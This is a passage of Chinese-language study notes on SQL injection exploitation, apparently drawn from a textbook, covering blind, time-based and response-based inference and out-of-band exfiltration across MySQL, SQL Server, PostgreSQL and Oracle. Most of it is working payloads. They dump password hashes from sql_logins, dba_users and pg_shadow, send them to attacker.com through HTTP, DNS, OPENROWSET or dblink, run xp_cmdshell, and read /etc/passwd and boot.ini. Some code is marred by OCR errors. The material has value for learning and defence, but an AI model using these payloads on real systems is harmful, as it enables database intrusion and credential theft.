or 1= utl_http.request('http://www.'||(selectpasswordfromdba_userswhererownum=l)||'.orasploit.com/')-- 

文件系统

如果攻击者拥有足够的写文件系统的权限,那么他就可以将查询结果重定向到Web服务器根目录下的一个文件中,之后他便可以使用浏览器来正常访问该文件。

SQL Server

检索sql_logins表中第一个用户的用户名和哈希,将该值重定向到文件系统的一个文本文件中

-- Declare needed variables
DECLARE @a int, @hash nvarchar(100), @fileid int;
-- Take the username and password hash of the first user in sql_logins 
-- and store it into the variable @hash
SELECT top 1 @hash = name +'|'+master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins; 
-- Create a FileSystemObject pointing to the location of the desired file
EXEC sp_OACreate 'Scripting.FileSystemObject', @a OUT;
EXEC sp_OAMethod @a,'OpenTextFile', @fileid OUT, 'c:\inetpub\wwwroot\hash.txt', 8, 1;
-- Write the @hash variable into that file
EXEC sp_OAMethod @fileid, 'WriteLine', Null, @hash; 
-- Destroy the objects that are not needed anymore
EXEC sp_OADestroy @fileid;
EXEC sp_OADestroy @a;

利用自带工具bcp.exe

检索整张sql_logins表

EXEC xp_cmdshell 'bcp "select * from sys.sql_logins" queryout c:\inetpub\wwwroot\hashes.txt -T -c'
Mysql

为确定用户是否拥有FILE权限,可使用下面两种查询之一进行测试

SELECT file_priv FROM mysql.user WHERE user ='username' -- MySQL 4/5

SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee ='username'

假设用户拥有这样的权限,而且知道Web站点的根目录为/webroot/且MySQL用户能够对该目录进行写访问,那么可注入下列查询:

SELECT table_name FROM information_schema.tables INTO OUTFILE '/webroot/tables.txt';
Oracle

在Oracle中,大多数用于访问文件的方法(UTL_FILE、DBMS_LOB外部表和Java)都需要一个PL/SQL注入漏洞,因而无法被用到SQL注入场景中。

在移动设备上实施SQL注入

SQLite

建立监听通信

自动利用SQL注入

Sqlmap

http://sqlmap.sourceforge.net

Bobcat

www.northem-monkee.co.uk/projects/bobcat/bobcat.html

BSQL

http://code.google.eom/p/bsqlhacker/

其他

SQL盲注利用

在发现一个SQL注入点时,只返回一个简单错误提示,返回的内容并不能完美的达到预期,这时我们能注入不同的内容注入产生不同回应,通过差异判断注入是否成功,这就是SQL盲注,通常是自动化利用

寻找并确认SQL盲注

强制产生通用错误

通常提交单引号时最常见的错误源是受损的SQL查询

注入带副作用的查询

注入副作用的查询是为了让攻击者观察到,通常是注入时间延迟

waitfor delay '0:0:5'

sleep(5)

pg_sleep()

注入不同的字符串产生不同的输出

' and '1'='2  -- 永假
' or '1'='1 -- 永真

拆分与平衡

分解合法输入的操作称为拆分,平衡则保证最终的查询中不会包含不平衡的结尾单引号。其基本思想是:收集合法的请求参数,之后使用SQL关键字对它们进行修改以保证与原始数据不同, 但当数据库解析它们时,二者的功能是等价的。

oracle中||连接两个字符串

SELECT COUNT(id) FROM reviews WHERE review_author='MadBob'

SELECT COUNT(id) FROM reviews WHERE review_author='MadB'||'ob'
-- 返回结果是相同的
SELECT COUNT (id)
FROM reviews WHERE review authors='MadBob'
SELECT COUNT (id)
FROM reviews WHERE review author='Mad'+CHAR(0x42)+'ob'
SELECT COUNT (id)
FROM reviews WHERE review author='Mad'+SELECT ('B')+'ob'
SELECT COUNT (id)
FROM reviews WHERE review author='Mad'+ (SELECT ('B')) +'ob'
SELECT COUNT (id)
FROM reviews WHERE review author='Mad'+ (SELECT '')+'Bob'

我们可以看到,在其中注入了子查询,当然我们可以换成其他的漏洞代码

常见的SQL盲注场景

1) 提交一个导致SQL查询无效的漏洞时会返回一个通用的错误页面,而提交正确的SQL时则会返回一个内容可被适度控制的页面。这种情况通常出现在根据用户选择来显示信息的页面中。例如,用户点击一个包含id参数(能唯一识别数据库中的商品)的链接或者提交一个搜索请求。对于这两种情况,用户可控制页面提供的输出,因为该页面是根据用户提供的信息来生成的,比如提供一个产品的id,该页面还包含了从响应中获得的数据。

因为页面提供了反馈信息(虽然不是以详细的数据库错误消息方式),所以可以使用基于时间的确认漏洞以及能够修改页面显示数据集的漏洞。例如,某个攻击可能会显示香皂或刷子的产品描述,以指示是否提取到了 0-bit或1-bit的数据。大多数情况下,只需提交一个单引号就足以破坏SQL查询平衡并强制产生一个通用的错误页面,这将有助于推断是否存在SQL注入漏洞。

2) 提交一个导致SQL查询无效的漏洞时会返回一个通用的错误页面,而提交正确的SQL时则会返回一个内容不可控的页面。当页面包含多个SQL查询,但只有第一个查询容易受到攻击且不产生输出时会碰到这种情况。还有一种场景也会引发这种情况:SQL注入位于 UPDATE或INSERT语句中,此时提交的信息虽然被写入数据库中且不产生输出,但却会产生通用的错误。

使用单引号产生的通用错误页面可能会暴露这种页面(与基于时间的漏洞相同),但基于内容的攻击却不会。

3) 提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。因 为这种类型的SQL盲注场景不返回错误,而基于时间的漏洞或产生带外副作用的漏洞则最有可能成功识别易受攻击的参数。

SQL盲注技术

推断攻击技术

当请求的位为1时,响应会有专门的标志;而当请求的位为0时,则会产生不同的响应。响应中的真正差异取决于所选用的推断工具,所使用的方法则大多基于响应时间、页面内容、页面错误或以上这些因素的组合。

条件分支IF语句,攻击者能通过响应的不同推断出是哪个分支

sqli-labs示例

http://sql/Less-8/?id=1
#you are in
http://sql/Less-8/?id=1' and '1'='1
#you are in
http://sql/Less-8/?id=1' and '1'='2
#
http://sql/Less-8/?id=1' or '1'='1
#you are in
#可以看到有两种状态,空白和you are in
http://sql/Less-8/?id=1' and (ascii(substr((select database()),1,1)))=115 %23
#you are in
可以判断数据库第一个字符是s
http://sql/Less-8/?id=1' and (ascii(substr((select database()),2,1)))=101 %23
#you are in
经过多次注入就能将数据全部检索出来
http://sql/Less-8/?id=1' and (length(database()))=8 %23
#you are in
增加推断攻击技术的复杂性
  • 二分搜素方法(分半算法)

    两种状态,添加第三种状态可以将最佳请求次数降为1,也可以自己创建字母表

    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1, 1)) >127-- (False)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1, 1) )>63-- (True)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1, 1) )>95-- (True)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1, 1)) >111-- (True)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER,1,1)) >119-- (False)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1,1)) >115-- (False)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER,1,1)) >113-- (True)
    Incubating' AND ASCII(SUBSTRING (SYSTEM USER, 1, 1)) >114-- (True)
    
    -- 自建字母表,优化二分法
    Incubating' and SUBSTRING ('c4ca4238a0b923820dcc509a6f75849b',1,1) in
    ('0','1','2','3','4','5','6','7');
  • 逐位方法

    对每位(bit)进行比对

    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1, 1)) &
    128-128-- (False)
    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1, 1)) &
    64=64-- (True)
    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1,1)) &
    32=32-- (True)
    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1,1))
    & 16=16-- (True)
    Incubating' AND ASCII (SUBSTRING (SYSTEM USER, 1, 1)) & 8=8-- (False)
    Incubating' AND ASCII (SUBSTRING (SYSTEM USER, 1, 1)) & 4=4-- (False)
    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1,1))
    & 2=2-- (True)
    Incubating'
    AND ASCII (SUBSTRING (SYSTEM USER, 1,1))
    & 1=1-- (True)
    
    -- ture代表1,false代表0,比对出得到01110011,十进制115,字母s
非主流通道技术

用的传输通道而非页面响应,它的传输通道包括DNS、e-mail和HTTP请求。非主流通道技术更重要的特点是:它们通常支持一次检索多块数据,而不是推断单个位或单个字节的值。

使用基于时间技术

发出请求到响应到达这段时间的差异。当某一状态为真时,如果能够让响应暂停几秒钟, 而当状态为假时,能够不出现暂停

延迟数据库查询

Mysql延迟

两个函数,sleep(),benchmark(n,expression)

sleep(N)强制延迟N秒

xxx.php?canshu=1' union select if(substring(user(),1,4)='root',sleep(5),1) #

benchmark(N,expression)执行表达式expression N次,通常表达式为一个函数,这样能增加执行时间

xxx.php?canshu=1' union select if(substring(user(),1,4)='root',benchmark(100000000,rand()),1) #

通常'root'写成16进制0x726f6f74(只编码了root),只用可以去掉单引号

  • 二分法

    依然是两种状态,延迟和未延迟

    ' UNION SELECT IF (ASCII(SUBSTRING((……),i,1))>k,SLEEP(1),1) #
    ' UNION SELECT IF (ASCII(SUBSTRING((……),i,1))>k,benchmark(100000000,rand()),1) #

    k是二分中间值

  • 逐位

    ' UNION SELECT IF (ASCII (SUBSTRING ((……), i, 1))&2^j =2^j,SLEEP(1), 1) # 
    ' UNION SELECT IF (ASCII (SUBSTRING ((……), i, 1))&2^j =2^j,BENCHMARK(100000000, RAND()),1) #

一部分注入在where字句中,这时延迟会在匹配表中每一行都会执行一次,时间会很长

PostgreSQL延迟技术

8.1或者更低的版本,使用系统库的sleep()函数创建一个函数

8.2及更高的版本,不是用sleep,提供了一个函数pg_sleep(),默认安装,返回值是void,不能直接放在where子句中

解决方法,PostgreSQL能使用堆叠查询,第二个查询返回void,将由当前正在执行的应用程序进行处理,这会导致一个错误,当前程序将会失败,添加第三个哑查询,返回正确数量的列。

SELECT * FROM reviews WHERE review_author='MadBob'; SELECT CASE 1 WHEN 1 THEN pg_sleep(1) END; SELECT NULL,NULL,NULL;

另一种解决方法,如果拥有创建PL/pgSQL函数的权限,可以创建一个新函数来封装pg_sleep(),并使它的返回值不为void,这样就能替代pg_sleep(),数据库拥有者必须为每个数据库单独启用PL/pgSQL语言。

CREATE LANGUAGE 'plpgsql'; -- 启用PL/pgSQL
-- 定义一个封装函数pause()
CREATE OR REPLACE FUNCTION pause(integer) RETURNS integer AS $$
DECLARE
wait alias for $1;
BEGIN
PERFORM pg_sleep(wait);
RETURN 1;
END;
$$ LANGUAGE 'plpgsql' STRICT;
-- 调用
xxx.php?id=1+(SELECT CASE (SELECT usename FROM pg_user WHERE usesuper IS TRUE and current_user=usename) WHEN (user) THEN PAUSE(5) ELSE 1 END)
  • 二分法

    ';SELECT CASE WHEN (ASCII (SUBSTR (..., i,1)) > k) THEN pg_sleep(1) END; SELECT NULL,...,NULL;-- 
    '||(SELECT CASE WHEN (ASCII(SUBSTR(...,i,1)) > k) THEN PAUSE (1) ELSE 1 END);-- 
  • 逐位

    ';SELECT CASE WHEN (ASCII (SUBSTR (...,i,1)) &2^j=2^j) THEN pg_sleep(1) END; SELECT NULL,...,NULL;
    '|| (SELECT CASE WHEN (ASCII (SUBSTR(...,i,1))&2^j=2^j) THEN PAUSE (1) ELSE 1 END);-- 
SQL Server延迟

waitfor delay '00:01:00'将正常执行时间增加1分钟,waitfor delay不能在where子句中使用,能使用堆叠查询

SQL server驱动程序会把第一个查询输出返回给正在执行处理的程序,分号前面的会返回给后面的语句

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05'

如果用户名为sa,返回时间就大于5秒

还有一种新技术,该技术使用两个通过逻辑“与”隔开的子查询,其中一个子查询的执行时间为很多秒,另一个子查询包含一个推断检查。如果检查失败(第x位为0),第二个子查询将返回,第一个子查询则因受“与”子句的影响而提前中止。实际结果是,如果正在推断的位为1,那么请求将花费比位为0时更多的时间。(其他数据库通用)Marathon Tool - CodePlex Archive

  • 二分法

  • ;IF ASCII(SUBSTRING((...),i,1))>k WAITFOR DELAY '00:00:05';-- 
    
    
    - 逐位
    
      ```sql
      ;IF ASCII (SUBSTRING ((...),i,1))&2^j=2^j WAITFOR DELAY '00:00:05';--
Oracle延迟
BEGIN DBMS_LOCK.SLEEP(n); END;

oralce中许多SQL注入都指向DBMS_LOCK包,并且这个包必须在管理员下使用,同时oracle不支持堆叠查询,所以sleep(n)在SQL语句中不好利用

如果注入点位于PL/SQL块中,则能利用

IF (BITAND(ASCII(SUBSTR((...),i,1)),2^j)=2^j) THEN DBMS_LOCK.SLEEP(5); END IF;

使用DBMS_PIPE.RECEIVE_MESSAGE函数可以实现基于时间的 攻击

xxx.aspx?test=test'OR 1 = CASE WHEN
SYS_CONTEXT('USERENV', 'ISDBA') = 'TRUE' THEN DBMS_PIPE.RECEIVE_ MESSAGE('foo', 5) ELSE 1 END -- 

基于时间的推断应考虑的问题

如果请求延迟很久,也可能是过载过高或者信道拥堵

解决方法

  1. 将延迟尽量设置高些以抵消其他延迟
  2. 发送两个几乎相同的请求,比较两个延迟,一个可能是状态为0的延迟,一个是状态为1的延迟,加以推断

使用基于响应的请求

推断状态时,可以借助响应中包含的文本或在检查特定值时强制产生的错误。

Mysql响应技术

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'
#返回两条结果

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND ASCII(SUBSTRING(user(),i,1))&2^J=2^J#
#如果i位为1,条件为真,返回上面相同结果,i位为0则返回0条

#平衡拆分技术
SELECT COUNT(*) FROM reviews WHERE id= 1
#逐位方法(bit-by-bit)的拆分与平衡注入字符串为:
SELECT COUNT(*) FROM reviews WHERE id=1+if(ASCII(SUBSTRING(CURRENT_USER(),i,1))&2^j=2^j,1,0)

#无法修改
SELECT COUNT(*) FROM reviews WHERE id=IF(ASCII(SUBSTRING(CURRENT_USER(),i,1))&2^j=2^j,(SELECT table_name FROM information_schema.columns WHERE table_name = (SELECT table_name FROM information_schema.columns)),1);
#很明显,第二个子查询返回多行,这句SQL会报错,那么就会有两种状态

使用以PHP编写并以MySQL作为数据存储的应用时,在数据库查询执行过程中出现的错误不会产生引发通用错误页面的异常。调用页面必须检查mysql_query()是否返回FALSE,或者mysql_error()是否返回一个非空字符串。只要有一个条件成立,页面就会打印一个应用专用的错误消息。这样做的结果是,MySQL错误不会产生HTTP 500响应代码,而是 产生正常的200响应代码。

PostgreSQL响应技术

SELECT COUNT (*) FROM reviews WHERE review_author='MadBob' AND ASCII(SUBSTRING(user(),i,1))&2^j=2^j-- 

SELECT COUNT (*) FROM reviews WHERE id=1+(SELECT CASE WHEN (ASCII(SUBSTR(...,i,1)&2^j=2^j) THEN PAUSE (1) ELSE 0 END);--    
#pause()是自定义的                                          
#无法修改内容时,强制使用除以0的条件
SELECT CASE (...)WHEN TRUE THEN 1/0 END
#很容易将它和拆分与平衡技术结合使用:
'||(SELECT CASE(...)WHEN TRUE THEN 1/0 END)||'

SQL Server响应技术

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' and SYSTEM_USER='sa'

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND ASCII(SUBSTRING(SYSTEM_USER,i,1))>k -- 

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND ASCII(SUBSTRING(SYSTEM_USER,i,1))&2^J=2^J

#二分法
SELECT COUNT(*) FROM reviews WHERE review_author='Mad'+(SELECT CASE WHEN ASCII(SUBSTRING(SYSTEM_USER,i,1))>k THEN 'Bob' END)+''
#下面是相应的使用逐位方法的例子
SELECT COUNT(*) FROM reviews WHERE review_author='Mad' + (SELECT CASE WHEN ASCII(SUBSTRING(SYSTEM_USER,i,1))&2^j=2^j THEN 'Bob' END) + ''

当ASP.NET应用程序使用web.config配置文件的<customError>标记定义的出错页面(error page)来捕获未处理的异常时,可以添加或修改 aspxerrorpage参数,使其指向一个并不存在的页面,这样就可以旁路(bypass)出错页面。因此,如果下面的请求在功能上重定向到一个用户自定义的出错页面,请求常常会泄漏它所捕获的底层错误:

count_reviews.aspx?review_author=MadBob'&aspxerrorpath=/foo

语法上不能存在错误,因为这会导致在执行查询之前总是失败,只 能通过某些条件来引发查询失败。可通过结合使用除数为0的子句和CASE条件来实现该目的:

select * FROM reviews WHERE review_author='MadBob'+(CASE WHEN ASCII(SUBSTRING(SYSTEM_USER,i,1))>k THEN CAST (1/0 AS CHAR) END)

Oracle响应技术

结构和上述数据库相似,依赖的函数不同

SELECT * FROM reviews WHERE review_author='MadBob' AND SYS_CONTEXT('USE RENV','ISDBA') ='TRUE'#逐位推断,根据第二个注入谓词是否返回结果来测试状态:
SELECT * FROM reviews WHERE review_author='MadBob'
AND BITAND(ASCII(SUBSTR((...),i,1)),2^j)=2^j
#二分搜索
SELECT * FROM reviews WHERE review_author='MadBob' AND ASCII(SUBSTR((...),i,1))>k
#使用Oracle的字符串连接技术来确保在函数或过程参数列表中安全地使用,该技术使用连接和CASE语句将利用重写为拆分与平衡过的字符串
Mad'||(SELECT CASE WHEN (ASCII(SUBSTR((...),i,1))>k THEN 'Bob' ELSE '' END FROM DUAL)||';
#上述代码只有在推断测试返回真时才会产生完整的MadBob字符串
#使用除数为0子句来产生运行时错误,这与SQL Server中的操作相似
MadBob'||(SELECT CASE WHEN BITAND((ASCII(SUBSTR((...),i,1))2^j)=2^j THEN CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';

返回多位信息

#逐位
CASE
WHEN ASCII(SUBSTRING((...),i,1))&(2^j+2^j+1)=0
THEN WAITFOR DELAY '00:00:00'
WHEN ASCII(SUBSTRING((...),i,1))&(2^j+2^j+1)=2^j
THEN WAITFOR DELAY '00:00:05'
WHEN ASCII(SUBSTRING((...),i,1))&(2^j+2^j+1)=2^j+1
THEN WAITFOR DELAY '00:00:10'
ELSE
THEN WAITFOR DELAY '00:00:15'
END

#二分
CASE
WHEN ASCII(SUBSTRING((...),i,1))>k
THEN WAITFOR DELAY '00:00:05'
WHEN ASCII(SUBSTRING((...),i,1))=k
THEN 1/0
ELSE
THEN WAITFOR DELAY '00:00:00'
END

使用非主流通道

数据库连接、DNS、e-mail和HTTP

数据库连接

针对mssql,攻击者可通过通道来创建从受害者数据库到攻击者数据库的连接,并通过该连接传递查询的数据。可使用OPENROWSET命令实现该目的,要想攻击成功,攻击者必须能够在受害者数据库上打开一条通向攻击者数据库的TCP(传输控制协议)连接,默认使用的是1433端口。如果受害者机器上配有出口过滤功能,或者攻击者正在执行出口过滤,那么连接就会失败。只需修改目的IP地址后面的端口号即可连接到其他端口。

示例:连接到地址为10.0.2.2的mssql用户sa并执行SQL语句

SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;
Address=10.0.2.2;uid=sa;pwd=Mypassword','SELECT review_author FROM reviews')

向外部数据库传递数据

INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSOCN;
Address=192.168.0.1;uid=foo;pwd=password','SELECT * FROM attacker_table') SELECT name FROM sysobjects WHERE xtype='U'

若拥有管理员权限并启动了xp_cmdshell

#下列查询将使目标数据库发送C:\路径下的文件和目录列表:
INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;
Address=www.attacker.com:80; uid=sa; pwd=53kr3t','SELECT * FROM table') EXEC master..xp_cmdshell 'dir C:\'

oracle也支持数据库连接,但是不能镶嵌其他查询

PostgreSQL9.1或更高版本超级用户启用dblink拓展

CREATE EXTENSION dblink;

利用dblink系列命令从攻击者数据库向由攻击者控制的PostgreSQL数据库实例复制数据。但是这些函数仅对行进行操作,而不是对结果集进行操作。如果按照这种方式,请先准备好编写依靠游标(cursor)遍历数据的PL/pgSQL函数。

例子:转储了数据库用户及其散列后的密码:

CREATE OR REPLACE FUNCTION dumper() RETURNS void AS $$
DECLARE
rvar record;
BEGIN
FOR rvar in SELECT usename||','||passwd as c FROM pg_shadow LOOP
PERFORM dblink_exec('host=172.16.0.100 dbname=db user=uname password=Pass','insert into dumper values('''||rvar.c||''')');
END LOOP;
END;
$$ LANGUAGE 'plpgsql';

DNS渗透

网络只有入口过滤而没有出口过滤时,或者仅有TCP出口过滤时,数据库可直接向攻击者发送DNS请求。

PostgreSQL、SQL server、Oracle均能直接或间接引发DNS请求,Oracle使用UTL_INADDR包,这个包包含一个明确用于查找转发条目(forward entry)的GET_HOST_ ADDRESS函数和一个用于查找逆向条目的GET_HOST_NAME函数:

UTL_INADDR.GET_HOST_ADDRESS('www.victim.com') 
-- 返回192.168.1.0

UTL_INADDR.GET_HOST_NAME('192.168.1.0')
-- 返回www.victim.com

DNS函数不需要使用PL/SQL块,可以直接插入子查询或谓词

#插入谓词提取数据库登录用户
SELECT * FROM reviews WHERE review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECT USER FROM DUAL)||'.attacker.com')

PostgreSQL使用XML解析库的一个小技巧来初始化DNS查询

#将一个包含数据库用户名的查找发送给DNS服务器,以查找attacker.com
SELECT XMLPARSE(document '<?xml version:"1.0" encoding="ISO-8859-1"?><!DOCTYPE x [ <!ELEMENT x ANY ><!ENTITY xx SYSTEM "http://'||user||'attacker.com./">]><x>&xx;</x>1);

只要PostgreSQL安装了dblink,在连接字符串中就可以指定一个主机名(hostname)以引发一次DNS查找,但这要求具有超级用户的访问权限。

mssql可以通过xp_cmdshell存储过程来执行nslookup命令

EXEC master..xp_cmdshell 'nslookup www.victim'

如果攻击者的DNS服务器是公共可用的192.168.1.1,那么直接查找DNS请求

EXEC master..xp_cmdshell 'nslookup www.victim 192.168.1.1'

可以将这些代码绑定到一些shell脚本中以提取目录内容

EXEC master..xp_cmdshell 'for /F "tokens=5"%i in (''dir c:\'') do nslookup %i.attacker.com'

这是数据库所在机器的默认搜索域。可以为传递给nslookup的名称添加一个点号(.),从而阻止在默认域中进行查找。

其他储存过程,这些存储过程依赖于Windows对网络

UNC(Universal Naming Convention,通用命名约定)路径的内在支持

xp_getfiledetails(SQL Server 2000,需要一个文件路径)
xp_fileexist(SQL Server 2000, 200520082008 R2,需要一个文件路径)
xp_dirtree(SQL Server 2000. 200520082008 R2,需要一个文件路径) 

DECLARE @a CHAR(128);SET @a='\\'+SYSTEM_USER+'.attacker.com.'; EXEC master..xp_dirtree @a

#存储过程的参数列表禁止使用字符串连接,因而上述代码使用了一个中间变量来保存路径。SQL间接引发了对主机名sa.attacker.com的DNS查找,最终证明了是在使用管理员账户进行登录。

通过xp_cmdshell执行DNS查找时,路径中出现非法字符会导致桩解析器 (resolver stub)失败,从而无法尝试查找。同样,UNC路径多于128个字符也会导致桩解析器失败。可以先将希望检索的数据转换成完全能够被DNS处理的格式,一种做法是将数据转换成十六进制表示。SQL Server包含一个名为FN_VARBINTOHEXSTR() 的函数,它接收类型为VARBINARY的参数并返回该数据的十六进制表示。例如:

SELECT master.dbo.fn_varbintohexstr(CAST(SYSTEM_USER as VARBINARY))
-- 0x73006100

长度问题,substring()

DECLARE @a CHAR(128);
SELECT @a='\\'+master.dbo.fn_varbintohexstr(CAST(SUBSTRING((SELECT TOP 1 CAST(review_body AS CHAR(255)) FROM reviews),1,26) AS VARBINARY(255)))+'.attacker.com.';
EXEC master..xp_dirtree @a;

-- "0x4d6f7669657320696e20746869732067656e7265206f667465.attacker.com." 或 "Movies in this genre ofte"

多行操作需要封装

e-mail渗透

跟DNS类似,使用SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)发送e-mail不需要直接连接发送者和接收者。该方法的限制在于异步性上。发送利用之后,e-mail需要过一段时间才能到达。

HTTP渗透

适用场合是:数据库服务器拥有网络层许可来访问由攻击者控制的Web资源。SQL Server和MySQL没有包含构造HTTP请求的默认机制,使用自定义扩展实现,PostgreSQL可以使用外部语言封装成HTTP的函数,Oracle由UTL_HTTP和HTTPURITYPE包提供,public权限。

SELECT * FROM reviews WHERE
review_author=UTL_HTTP.REQUEST('www.attacker.com/'||USER)

复查web日志会发现一条包含数据库登录的日志

#Oracle llg:
'a'||CHR(UTL_HTTP.REQUEST('www.attacker.com/'||(SELECT sys.stragg(DISTINCT username||chr(61)||password||chr(59)) FROM dba_users)))||'a

-- 将所有用户名和口令发送给了攻击者的访问日志
#Oracle 9z R2和更高版本的+XMLB:
'a'||CHR(UTL_HTTP.REQUEST('attacker.com/'||(SELECT xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml version="l.0"?> <xsl:stylesheet version="1.0" xmlns:xs1="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:for-each select="/ROWSET/ USERNAME"><xsl:value-of select="text()"/>;</xsl:for-each></xsl:templatex/xsl:stylesheet>')).getstringval() listagg from all_users)))||'a
#HTTPURITYPE
UNION SELECT null,null,LENGTH(HTTPURITYPE('http://attacker/'||username||'='||password).getclob FROM sys.user$ WHERE type#=0 AND LENGTH(password)=16)

Web服务器的访问日志文件将包含数据库的所有用户名和口令。

注入ORDER BY子句

SELECT banner FROM v$version ORDER BY LENGTH((SELECT COUNT(1) FROM dba_users WHERE UTL_HTTP.REQUEST('www.attacker.com/'||username||'='||password) IS NOT null));

ICMP渗透

自动SQL盲注利用

Absinthe

Absinthe的威力在于支持数据库映射,并且能利用基于错误和响应的推断利用来对很多流行的数据库(不管是商业的还是开源的)进行检索。方便的GUI为攻击者带来了很好的体验,但缺少特征签名支持限制了其效能。

BSQL Hacker

BSQL Hacker是另一款图形化工具,它使用基于时间及响应的推断技术和标准错误来从所提问的数据库中提取数据。虽然它仍处于测试阶段,不是很稳定,但该工具前景很好且提供了很多欺诈机会。

Apologies, page not found | Portcullis Labs

SQLBrute

SQLBrute是一款命令行工具,它针对希望使用基于时间或响应的推断来利用某个固定漏洞的用户。

Sqlmap

Sqlmap将漏洞的发现和利用结合在一款强大的工具中,它既支持基于时间的推断方法,也支持基于响应的推断方法,另外还支持ICMP通道方法。该工具的成长速度很快,开发也很活跃。

Sqlninja

Sqlninja有很多特性,它支持使用基于DNS的非主流通道来执行远程命令。首先上传一个自定义的二进制封装器(wrapper),然后通过上传的封装器来执行命令。封装器捕获所有来自命令的输出并初始化一个DNS请求序列,请求中包含了编码后的输出。

Squeeza

Squeeza则从另一个视角审视SQL注入,它将数据创建与数据提取区分开来。该命令行工具可使用基于时间的推断、标准错误或DNS来提取时间。DNS通道完全借助T-SQL来执行,因而不需要上传二进制封装器。

利用操作系统

访问文件系统以执行有效的任务(比如读取数据和上传文件)

访问文件系统

读文件

攻击者希望能够读取ASCII文本和二进制文件。

MySQL

MySQL提供LOAD DATA INFILE和LOAD_FILE命令将文本文件读到数据库中。

LOAD DATA INFILE语句以非常快的速度从文本文件中读取一行数据至表中。文件名必须是字符串字面值。

用法

#先创建一个文本test.txt,格式:
#name school old
#创建一张表来保存读取的信息
create table test(name char(50),school char(50),old char(50));
#读取并填充表
load data infile '/xxx/test.txt' into table test fields terminated by '';
#读取成功

LOAD_FILE该函数不创建表可以直接传递结果

select load_file('/xxx/test.txt');
#注入回显文件的内容
dvwa/vulnerabilities/sqli/?id=1' union select 1,load_file('/etc/passwd') %23&Submit=Submit#
#通常etc/passwd换成16进制,以省略单引号
#获取二进制文件
'union select NULL,HEX(LOAD_FILE('/tmp/temp.ini'))#

LOAD_FILE()还接收UNC(通用命名约定)路径,攻击者可以在其他机器上搜索文件,甚至可以引导MySQL服务器连接到他们自己的机器

select load_file('//172.16.125.2/temp_smb/test.txt');
Mssql

攻击者(己经获取系统管理员权限)通常首先借用的是BULK INSERT语句。

http://test.asp?sname=%
#返回了所有用户,注入点

#确定所运行的权限 sa
http://test.asp?sname='union select NULL,NULL,NULL,loginame FROM master..sysprocesses
WHERE spid = @@SPID-- 

#执行读取命令
http://test.asp?sname='; create table hacked(line varchar(8000)); bulk insert hacked from 'c:\boot.ini';-- 

#查看表就会看到已经插入
http://test.asp?sname='union select NULL,NULL,NULL,line from hacked-- 

Squeeza工具,允许攻击者在后台临时表中执行批量插入,然后使用所选的通信机制(DNS、错误消息、时间)来提取信息,最后再在攻击者的机器上重建该文件。

使用一个针对目标应用程序的squeeza.config文件来提取两个文件——远程服务器的 boot.ini 和二进制的 c:\winnt\system32\net.exe

!coрy 
c:\boot.ini stolen-boot.ini 
c:\winnt\system32\net.exe stolen-net.exe
!quit

缺少批量插入方法

使用(滥用)Scripting.FileSystemObject。

引入了公共语言运行时(Microsoft Language Runtime,CLR)。它允许开发人员将.NET二进制文件轻而易举地集成到数据库中。

通过向SQL Server导入程序集时所使用的方法来实现,SQL Server 2005默 认禁用了CLR集成。拥有系统管理员或与之等价的权限,以使用sp configure存储过程重新启用该功能

exec sp_configure 'show advanced options',1; RECONFIGURE;
exec sp_configure 'clr enabled',1
RECONFIGURE
#使用CREATE ASSEMBLY函数从远程服务器加载任何.NET二进制文件至数据库中
#使用下列注入字符串加载.NET程序集c:\temp\test.exe:
sname=';create assembly sqb from 'c:\temp\test.exe' with permission_set =unsafe-- 

#SQL Server在sys.assembly_files表中存储原始的二进制文件(作为HEX字符串)

sname=' union select NULL,NULL,NULL,master.dbo.fn_varbintohexstr(substring(content,1,5)) from sys.assembly_files-- 
#将二进制文件读取到web页面

create assembly sqb from 'c:\temp\test.exe'
#添加到原始库
alter assembly sqb add file from 'c:\windows\system32\net.exe'
alter assembly sqb add file from 'c:\temp\test.txt'
Oracle

utl_file_dir/Oracle 目录、Java、Oracle Text三种接口访问文件

utl_file_dir/Oracle 目录

utl_file(PL/SQL, Oracle 811g)

DBMS_LOB(PL/SQL, Oracle 811g)
#从rds.txt文件读取了1000个字节(从第1个字节开始),该文件位于MEDIA DIR目录中。
DECLARE
buf varchar2(4096);
BEG IN
Lob_loc:= BFILENAME('MEDIA_DIR','rds.txt');
DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
DBMS_LOB.READ(Lob_loc, 1000, 1, buf);
dbms_output.put_line(utl_raw.cast_to_varchar2(buf));
DBMS_LOB.CLOSE(Lob_loc);
END;

外部表(PL/SQL, Oracle 9i R2 至 11g)
create directory ext as 'C:\';
CREATE TABLE ext_tab(
line varchar2(256))
ORGANIZATION EXTERNAL (TYPE oracle_loader
DEFAULT DIRECTORY extACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
